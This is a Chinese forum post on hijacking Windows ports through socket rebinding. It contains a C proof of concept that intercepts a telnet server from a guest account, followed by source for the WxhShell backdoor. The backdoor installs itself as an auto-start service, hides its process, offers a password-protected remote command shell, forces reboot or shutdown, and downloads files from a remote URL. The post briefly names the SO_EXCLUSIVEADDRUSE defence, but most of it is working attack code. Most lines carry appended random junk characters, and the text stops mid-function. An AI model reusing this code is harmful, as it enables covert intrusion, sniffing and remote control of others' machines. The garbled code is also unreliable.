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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CI7A# 6-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~$,qgf  
,<Kx{+ [h  
  saddr.sin_family = AF_INET; [ .,>wo~  
LlYTv% I  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2I'~2o  
kUl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6g:|*w  
WcUJhi^\C  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !36]ud&  
\Y|*Nee}XP  
  这意味着什么?意味着可以进行如下的攻击: P:xT0gtt  
R^&q-M=O[  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8Cx^0  
1Y j~fb(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) gE7L L=x  
"&+3#D >  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5FeFN)  
=d`5f@'rl  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t*S." q  
hGTV;eU  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *C|  
:l\V'=%9'@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :l u5Uu~  
O6s.<` \  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 iJh!KEy~A5  
Sm{>rR  
  #include -G|a*^  
  #include 9J-b6,  
  #include %VNlXHO.  
  #include    # TkR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   QO;4}rq  
  int main() KW3+luI6  
  { Li{~=S@N*  
  WORD wVersionRequested; )7cb6jCU  
  DWORD ret; _.)eL3OF  
  WSADATA wsaData; |UUdz_i!:  
  BOOL val; P5 <vf  
  SOCKADDR_IN saddr; aoW6U{\  
  SOCKADDR_IN scaddr; <yUstz,Xu^  
  int err; v $({C  
  SOCKET s; 1 OaXo!  
  SOCKET sc; W8WXY_yJt  
  int caddsize; kAYb!h[`  
  HANDLE mt; B 9dt=j3j2  
  DWORD tid;   1 jb/o5n;  
  wVersionRequested = MAKEWORD( 2, 2 ); F\JUx L@8  
  err = WSAStartup( wVersionRequested, &wsaData ); K95;rd  
  if ( err != 0 ) { SI:ifR&T  
  printf("error!WSAStartup failed!\n"); j Ch=@<9  
  return -1; 5z$,6T  
  } i'/m4 !>h  
  saddr.sin_family = AF_INET; 2h=%K/hhY  
   HfNDD| Zz  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `TLzVB-j3  
{tP%epQ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); +K",^6%1  
  saddr.sin_port = htons(23); / +K?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WN]<q`.  
  { ' I}: !Z  
  printf("error!socket failed!\n"); J4$! 68  
  return -1; .^(/n9|o-  
  } +C]&2zc.  
  val = TRUE; v6(E3)J7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 256LHY|6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y2L#:[8  
  { }ut]\]b  
  printf("error!setsockopt failed!\n"); <U Zd;e@  
  return -1; 7L5P%zLtB  
  } 8T[ 6J{|C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; YNdrWBf)  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 uzOYVN$t  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Dh| w^Q  
}GwVKAjP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Ka!I`Yf  
  { I<oL}f  
  ret=GetLastError(); >`RRP}u=u  
  printf("error!bind failed!\n"); Ut@RGg+f8  
  return -1; yBpk$  
  } eU+ {*YJg  
  listen(s,2); 4vnUN  
  while(1) I,@r5tK o  
  { +|cI:|H>  
  caddsize = sizeof(scaddr); >TL^>D  
  //接受连接请求 b&) 5:&MI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d50Vtm\  
  if(sc!=INVALID_SOCKET) XKOUQc4!R  
  { ` TqSQg_l  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Qq& W3  
  if(mt==NULL) w0m^ &,;#  
  { @exey  
  printf("Thread Creat Failed!\n"); oih5B<&f#  
  break; dIwe g=x  
  } t:~t@4j}  
  } TA18 gq  
  CloseHandle(mt); LwqC ~N  
  } -;(Q1)&  
  closesocket(s); =HDI \LD<  
  WSACleanup(); q Dd~2"er  
  return 0; IE~%=/|  
  }   F t&+vS  
  DWORD WINAPI ClientThread(LPVOID lpParam) >c8GW >\N  
  { |`k .y]9  
  SOCKET ss = (SOCKET)lpParam; K]oM8H1  
  SOCKET sc; ^y.nDs%ZT7  
  unsigned char buf[4096]; q-$`k  
  SOCKADDR_IN saddr; gApoX0nrv  
  long num; 0Wvq>R.(]7  
  DWORD val; F'P Qqb{  
  DWORD ret; <Cpp?DW_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'vV$]/wBF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ;#+0L$<t  
  saddr.sin_family = AF_INET; >u +q1j.  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); I`RBj`IF  
  saddr.sin_port = htons(23); | $^;wP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c~,23wP1  
  { U'( sn  
  printf("error!socket failed!\n"); }ucIH@U{  
  return -1; 9-1#( Y6S  
  } VaZn{z  
  val = 100; n`Z"rwKmNw  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f|EUqu%E  
  { 7v}x?I  
  ret = GetLastError(); 2RtHg_d_l  
  return -1; k8nLo.O  
  } qem(s</:  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u^W2UE\  
  { _,AzJ^  
  ret = GetLastError(); E|EgB33S  
  return -1; [] W;t\h  
  } l3o#@sz:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) u0)7i.!M  
  { p0p4Xh1 e  
  printf("error!socket connect failed!\n"); 'XOX@UH d  
  closesocket(sc); 8iQ[9  
  closesocket(ss); ^n.WZUk  
  return -1; ws/63 d*  
  } FN[R(SLbL  
  while(1) Zi$ziDz&  
  { )ukpJ z""  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :\~+#/=:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~i;fDQ&!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 zdun,`6  
  num = recv(ss,buf,4096,0); #Doq P:  
  if(num>0) SjEAuRDvUz  
  send(sc,buf,num,0); |+IZS/W"  
  else if(num==0) ,1{Ep`  
  break; hqSJ(gs{  
  num = recv(sc,buf,4096,0); !/{+WHxIr|  
  if(num>0) Oc?+M 5  
  send(ss,buf,num,0); &p UZDjo?  
  else if(num==0) q6P wZ_  
  break; hIv@i\`  
  } ( n{wg(R  
  closesocket(ss); B@v\eF;  
  closesocket(sc); ,3DXFV'uxb  
  return 0 ; Fig&&b a  
  } `D5HC  
;,'igdold  
oS,I~}\kQ  
========================================================== NVV}6TUV  
'(&%O8Yi  
下边附上一个代码,,WXhSHELL JWP*>\P  
V:NI4dv/R  
========================================================== XJ0 {  
FE7)E.U  
#include "stdafx.h" rEZ8eeB[3  
5 LP?Ij  
#include <stdio.h> [e e%c Xo  
#include <string.h> cp Ear  
#include <windows.h> qAkx<u  
#include <winsock2.h> h #Z4pN8T3  
#include <winsvc.h> 'rP]Nw  
#include <urlmon.h> @R~5-m  
36m5bYMd)  
#pragma comment (lib, "Ws2_32.lib") N6oq90G  
#pragma comment (lib, "urlmon.lib") _A_ A$N~9  
h:\oly\  
#define MAX_USER   100 // 最大客户端连接数 2 -!L _W(  
#define BUF_SOCK   200 // sock buffer Ft JjY@#  
#define KEY_BUFF   255 // 输入 buffer M&Y .;  
tCF&OOI4`  
#define REBOOT     0   // 重启 0"k |H&  
#define SHUTDOWN   1   // 关机 [p r"ZQ]  
Y]`.InG@  
#define DEF_PORT   5000 // 监听端口 f2)XP$:  
he3SR @\T  
#define REG_LEN     16   // 注册表键长度 rd|uz4d  
#define SVC_LEN     80   // NT服务名长度 Z^KA  
Ma-\^S=  
// 从dll定义API $.St ej1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eDO!^.<5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eEc4bVQa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1[nG}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]Al;l*yw  
k5d\ w@G"~  
// wxhshell配置信息 &.i^dO^}  
struct WSCFG { IputF<p  
  int ws_port;         // 监听端口 v]:=K-1n  
  char ws_passstr[REG_LEN]; // 口令 }_.:+H!@  
  int ws_autoins;       // 安装标记, 1=yes 0=no mZk0@C&:6  
  char ws_regname[REG_LEN]; // 注册表键名 1m<RwI3s  
  char ws_svcname[REG_LEN]; // 服务名 qUF'{K   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eKZ%2|+j!7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |w}w.%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6`01EIk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hm$X]H`uMX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^{@!['  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pe0x""K  
Ft{[ae?4  
}; `xS{0P{uj  
t-%Q`V=[  
// default Wxhshell configuration [V# r7a  
struct WSCFG wscfg={DEF_PORT, ^S)TO}e  
    "xuhuanlingzhe", [(LV  
    1, p 5u_1U0  
    "Wxhshell", )QKf7 [:  
    "Wxhshell", {C*\O)Gep  
            "WxhShell Service", u9-nt}hGYM  
    "Wrsky Windows CmdShell Service", 6&v? )o  
    "Please Input Your Password: ", }`_@'4:t  
  1, 0O!cN_l|  
  "http://www.wrsky.com/wxhshell.exe", iyx>q!P  
  "Wxhshell.exe" o(A|)c4k  
    }; ;bu#8,  
T0HuqJty  
// 消息定义模块 m,LG=s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lEL78l.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 01a-{&   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [}mA`5  
char *msg_ws_ext="\n\rExit."; " }gVAAvc7  
char *msg_ws_end="\n\rQuit."; Nb2Qp K  
char *msg_ws_boot="\n\rReboot..."; 9&%fq)gS  
char *msg_ws_poff="\n\rShutdown..."; 6!iJ;1PeE  
char *msg_ws_down="\n\rSave to "; /T^ JS  
F,Xo|jjj  
char *msg_ws_err="\n\rErr!"; ek aFN\  
char *msg_ws_ok="\n\rOK!"; cR-~)UyrO  
nq} Q  
char ExeFile[MAX_PATH]; )Ag/Qep  
int nUser = 0; !;@_VWR  
HANDLE handles[MAX_USER]; 9ILIEm:  
int OsIsNt; tHD  
`+lHeLz':  
SERVICE_STATUS       serviceStatus; 6< J #^ 6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YO{GU7  
$v.C0 x  
// 函数声明 9_ICNG%  
int Install(void); M/PFPJ >`  
int Uninstall(void); $DFv30 f  
int DownloadFile(char *sURL, SOCKET wsh); %,@vWmn  
int Boot(int flag); R`Aj|C z  
void HideProc(void); wCs3:@UH  
int GetOsVer(void); ~cAZB9Fa  
int Wxhshell(SOCKET wsl); ub0zJTFJ#  
void TalkWithClient(void *cs); @Fv=u  
int CmdShell(SOCKET sock); ){s*n=KIO  
int StartFromService(void); :Br5a34q  
int StartWxhshell(LPSTR lpCmdLine); <O?y-$~  
/z7VNkD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =6FUNvP#8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^da44Qqu  
&Wp8u#4L  
// 数据结构和表定义 X C86-b)E  
SERVICE_TABLE_ENTRY DispatchTable[] = z@s5m}  
{ O40+M)e]  
{wscfg.ws_svcname, NTServiceMain}, 1:C:?ZC#c  
{NULL, NULL} n6WY&1ZE~  
}; wCMQPt)VS  
+`mGK:>  
// 自我安装 Z!d7&T}  
int Install(void) =+5,B\~q@C  
{ ,?UM;^  
  char svExeFile[MAX_PATH]; Eu}b8c  
  HKEY key; 5/",<1  
  strcpy(svExeFile,ExeFile); 6[ qA`x#  
pN6%&@) =  
// 如果是win9x系统,修改注册表设为自启动 x"kjs.d7[<  
if(!OsIsNt) { }*]B-\>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v1U?&C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )/ Ud^wi  
  RegCloseKey(key); Rx07trfN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =*BIB5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e;bYaM4 UX  
  RegCloseKey(key); Mpue   
  return 0; Mvj;ic6iK  
    } C F!Sa6  
  } MmPU7Nl%X  
} seFGJfN\?f  
else { =-cwXo{Q.O  
l@j.hTO<  
// 如果是NT以上系统,安装为系统服务 vg Ipj3u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %z]U LEYrZ  
if (schSCManager!=0) i LBvGZ<9  
{ g3n'aD@'x  
  SC_HANDLE schService = CreateService iq#b#PYA  
  ( Y&H}xn  
  schSCManager, 2N#$X'8  
  wscfg.ws_svcname, <%}QDO8\i  
  wscfg.ws_svcdisp, PupM/?57  
  SERVICE_ALL_ACCESS, !"Yj|Nu6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |!|^ v  
  SERVICE_AUTO_START, iO /XhSD  
  SERVICE_ERROR_NORMAL, |LG4=j.l  
  svExeFile, k;PAh>8  
  NULL, -Lu)'+  
  NULL, %m,6}yt  
  NULL, Kr'f-{  
  NULL, c'6g*%2k  
  NULL hD,:w%M  
  ); $yDWu"R8  
  if (schService!=0) vgt]:$  
  { m~#!  
  CloseServiceHandle(schService); :,;K>l^U  
  CloseServiceHandle(schSCManager); 'k;4j|<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k- V,~c  
  strcat(svExeFile,wscfg.ws_svcname); ~9^)wCM+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <P ,~eX(r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e"]8T},  
  RegCloseKey(key); W/z7"#  
  return 0; VpfUm?Nq  
    } [u@Jc,  
  } Z 2}ah  
  CloseServiceHandle(schSCManager); <tpmUA[]  
} 'crlA~&#/  
} hdTzCfeZ5@  
t1E[uu,V8  
return 1; 6c0>gUQx-  
} /0\ mx4u  
@FdSFQ/9  
// 自我卸载 #plY\0E@  
int Uninstall(void) ~>9_(L  
{ lKk/p^:  
  HKEY key; Q)"A-"y  
a>\vUv*  
if(!OsIsNt) { Ym;*Y !~[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d1[ZHio2c?  
  RegDeleteValue(key,wscfg.ws_regname); +r3IN){jz  
  RegCloseKey(key); Wg`R_>qQSm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ZiLj=bh  
  RegDeleteValue(key,wscfg.ws_regname); o1nURJ!  
  RegCloseKey(key); 0M\D[ mg  
  return 0; j,]Y$B  
  } RK w$-7O  
} 8Lw B B  
} mN8pg4  
else { F R|&^j6  
~  T>U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); phO;c;y}  
if (schSCManager!=0) `y+tf?QN  
{ hy|b6wF&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `est|C '+  
  if (schService!=0) e<r,&U$  
  { F;^F+H  
  if(DeleteService(schService)!=0) { e%W$*f  
  CloseServiceHandle(schService); yCCrK@{oo  
  CloseServiceHandle(schSCManager); r(gXoq_w  
  return 0; !?Wp+e6  
  } 4&l10fR5  
  CloseServiceHandle(schService); !A48TgAeE  
  } ]qhPd_$?D'  
  CloseServiceHandle(schSCManager); ~/j\Z  
} 7gRgOzWfV  
} m,fAeln  
-*.-9B~u  
return 1; :6$>_m=i  
} 6;b~Ht  
]l8^KX'  
// 从指定url下载文件 W456!OHa  
int DownloadFile(char *sURL, SOCKET wsh) _V`DWR *  
{ g}]t[}s1]  
  HRESULT hr; # W"=ry3{  
char seps[]= "/"; ?6'rBH/w  
char *token; rj!0GI  
char *file; #c2ymQm  
char myURL[MAX_PATH]; R :B^  
char myFILE[MAX_PATH]; qe5feky  
J=/5}u_gw  
strcpy(myURL,sURL); (Cq n6 dWK  
  token=strtok(myURL,seps); :%IoME   
  while(token!=NULL) 6-O_\Cq8  
  { bJs9X/E  
    file=token; $ `7^+8vHV  
  token=strtok(NULL,seps); _YRE (YZ/  
  } 43=,yz2Ef  
,a#EW+" Z  
GetCurrentDirectory(MAX_PATH,myFILE); 5atYOep  
strcat(myFILE, "\\"); 8_N]e'WUh  
strcat(myFILE, file); ;| 1$Q!4  
  send(wsh,myFILE,strlen(myFILE),0); <tioJG{OT  
send(wsh,"...",3,0);  O#I1V K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Sfdu`MQR  
  if(hr==S_OK) *g^x*|f6  
return 0; IsR!'%Pu  
else !W?gR.0$=  
return 1; Kv~U6_=1O  
XC+A_"w)  
} S{3nM<  
JfPD}w  
// 系统电源模块 G}p\8Q}'  
int Boot(int flag) ++E3]X|  
{ Z@r.pRr'  
  HANDLE hToken; 6^DR0sO  
  TOKEN_PRIVILEGES tkp; $q 2D+_  
q:g2Zc'Y~W  
  if(OsIsNt) { f7}*X|_Y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Dl}$pN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jmeRrnC}  
    tkp.PrivilegeCount = 1; cv`~y'?D  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c%qv9   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C`q@X(_   
if(flag==REBOOT) { ?Q&yEGm(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _Zr.ba  
  return 0; A@Dw<.&_I  
} sq'Pyz[[  
else { YID4w7|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c_>f0i  
  return 0; Od|$Y+@6  
} #^ ]n0!  
  } mml z&h  
  else { P67o{EdK  
if(flag==REBOOT) { 5scEc,JCi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AoyX\iqQ  
  return 0; M>/Zbnq  
} aCL!]4K84$  
else { jq!tT%o*B  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4 uQT5  
  return 0; YX#-nyK  
} I"`M@ %  
} 9VbOQ{8  
{` w;39$+  
return 1; t2"FXTAq  
} y a_<^O 9  
nqf,4MR  
// win9x进程隐藏模块 Ot`VR&}  
void HideProc(void) 7sXxq4  
{ > %KuNy{  
n..g~ $k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); e$pMsw'MJ  
  if ( hKernel != NULL ) <wAFy>7  
  { QNl'ZB \  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z0do;_x]E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m1*O0Tg]"  
    FreeLibrary(hKernel); }m-FGk  
  } '{B!6|"X  
~^cMys |'  
return; x]33LQ1]  
} Cn[0(s6  
1PatH[T[  
// 获取操作系统版本 {,L+1h  
int GetOsVer(void) jkvgoxY  
{ tzh1s i  
  OSVERSIONINFO winfo; nb>7UN.9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,tg0L$qC  
  GetVersionEx(&winfo); {+@bZ}57  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9rA=pH%<>B  
  return 1; 1u9LdkhnY  
  else p"U, G -_  
  return 0; yR\btx|e5~  
} |.3DD"*  
_x5 3g A  
// 客户端句柄模块 tq|hPd<C  
int Wxhshell(SOCKET wsl) @i*|s~15  
{ 7!N2-6GV  
  SOCKET wsh; mtj h`  
  struct sockaddr_in client; FeTL&$O  
  DWORD myID; piZJJYv t  
Zg.&V  
  while(nUser<MAX_USER) c[ ]4n  
{ QMpoa5ZQG  
  int nSize=sizeof(client); 3F<VH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @W9x$  
  if(wsh==INVALID_SOCKET) return 1; IOV(seEY  
]S5JUAGkE*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y?q*WUh  
if(handles[nUser]==0) $81*^  
  closesocket(wsh); )d>!"JB-  
else PKzyV ;  
  nUser++; j+ LawW-  
  } ih;]nJ]+-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oo.2Dn6z  
}O4^Cc6  
  return 0; q')R4=0 K  
} `kJ^zw+  
`{xNXH]@  
// 关闭 socket +o51x'Ld*  
void CloseIt(SOCKET wsh) uF3qD|I\  
{ t0T"@t#c  
closesocket(wsh); m RO~aD!N  
nUser--; x a06i#  
ExitThread(0); QD>"]ap,o  
} 4tS.G  
E}tqQ*u  
// 客户端请求句柄 ez6EjUk  
void TalkWithClient(void *cs) r'*}TM'8  
{ : 7`[$<~E  
h|"9LU4a  
  SOCKET wsh=(SOCKET)cs; Bb"Bg\le,^  
  char pwd[SVC_LEN]; jav#f{'  
  char cmd[KEY_BUFF]; 1wP-  
char chr[1]; #*(t d<Cp  
int i,j; 5EebPXBzB  
$+I;oHWI  
  while (nUser < MAX_USER) { ^~A>8CQOU  
bG(3^"dS  
if(wscfg.ws_passstr) { AlIpsJ[UU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <N9[?g)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5x>}O3Q_  
  //ZeroMemory(pwd,KEY_BUFF); gE?| _x#  
      i=0; ?n ZY)  
  while(i<SVC_LEN) { d|yAs5@  
}-6)gWe  
  // 设置超时 }-sdov<<  
  fd_set FdRead; +qwjbA+  
  struct timeval TimeOut; L-k@-)98  
  FD_ZERO(&FdRead); ynhmMy%  
  FD_SET(wsh,&FdRead); V:c;-)(  
  TimeOut.tv_sec=8; "PpN0Rr  
  TimeOut.tv_usec=0; mA=i)Ga  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Oal3rb  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *=*AAF  
z21|Dhiw&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /Bm( `T  
  pwd=chr[0]; #Q`dku%V:  
  if(chr[0]==0xd || chr[0]==0xa) { >b{q.  
  pwd=0; %eO0w a$a  
  break; ]3 l9:|  
  } iB& 4>+N+  
  i++; j_. 5r&w  
    } t8+X%-r  
]@Uq=?%  
  // 如果是非法用户,关闭 socket |VNnOM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t?'!$6   
} ~S7 D>D3S  
aiu5}%U  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @0u~?!g@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DS[#|  
z\%Ls   
while(1) { _c_[ C*T]  
x}8yXE"  
  ZeroMemory(cmd,KEY_BUFF); L|}lccpI  
\hEN4V[  
      // 自动支持客户端 telnet标准   o_^?n[4  
  j=0; `I,,C,{C  
  while(j<KEY_BUFF) { n*{sTT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <t \H^H!  
  cmd[j]=chr[0]; DuHu\>f<S  
  if(chr[0]==0xa || chr[0]==0xd) { 1BpiV-]=  
  cmd[j]=0; hj.a&%  
  break; b KN@j'M  
  } <yH4HY  
  j++; +yD`3` E  
    } <,e+ kL{  
v63"^%LX  
  // 下载文件 ?I~()]k5  
  if(strstr(cmd,"http://")) { <yNM%P<Oy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); V1 3N}]  
  if(DownloadFile(cmd,wsh)) 70Wggty  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5MtLT#C3r  
  else 5jgR4a*_v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #nPQ!NB/  
  } K#=*9S  
  else { PC-"gi =h  
+2&@x=xy  
    switch(cmd[0]) { a+Kj1ix  
  N%*5T[.  
  // 帮助 j+uLV{~g6  
  case '?': { 9E"vN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O%5 r[  
    break; &N\jG373  
  } qfMo7e@6*  
  // 安装 l^pA2yh|  
  case 'i': { li}1S  
    if(Install()) z;|A(*Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `</ff+Q6  
    else <#u=[_H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9vGu0Um  
    break; to DG7XN}  
    } dE4L=sTEsy  
  // 卸载 M$>1L  
  case 'r': { 3 +G$-ru  
    if(Uninstall()) J:V6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K k-S}.E  
    else G <i@ 5\#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iiS-9>]/  
    break; ECrex>zr%  
    } uP~@U"!  
  // 显示 wxhshell 所在路径 Vt".%d/`7  
  case 'p': { +~mA}psr  
    char svExeFile[MAX_PATH]; ~l]ve,W[  
    strcpy(svExeFile,"\n\r"); O06"bi5Y  
      strcat(svExeFile,ExeFile); , P70J b  
        send(wsh,svExeFile,strlen(svExeFile),0); jw^<IMAG\8  
    break; hp5|@  
    } '+?"iVVo  
  // 重启 mUdOX7$c>  
  case 'b': { 0"\H^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @M_oH:GV  
    if(Boot(REBOOT)) hPUYyjXPB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "NXB$a!:  
    else { IDB+%xl#S  
    closesocket(wsh); %'s>QF]'  
    ExitThread(0); D*gFV{ Ws  
    } ;U.hxh;+  
    break; d(:8M  
    } 4,CXJ2  
  // 关机 =WyZX 7@R  
  case 'd': { LE9(fe) fe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ToXki,  
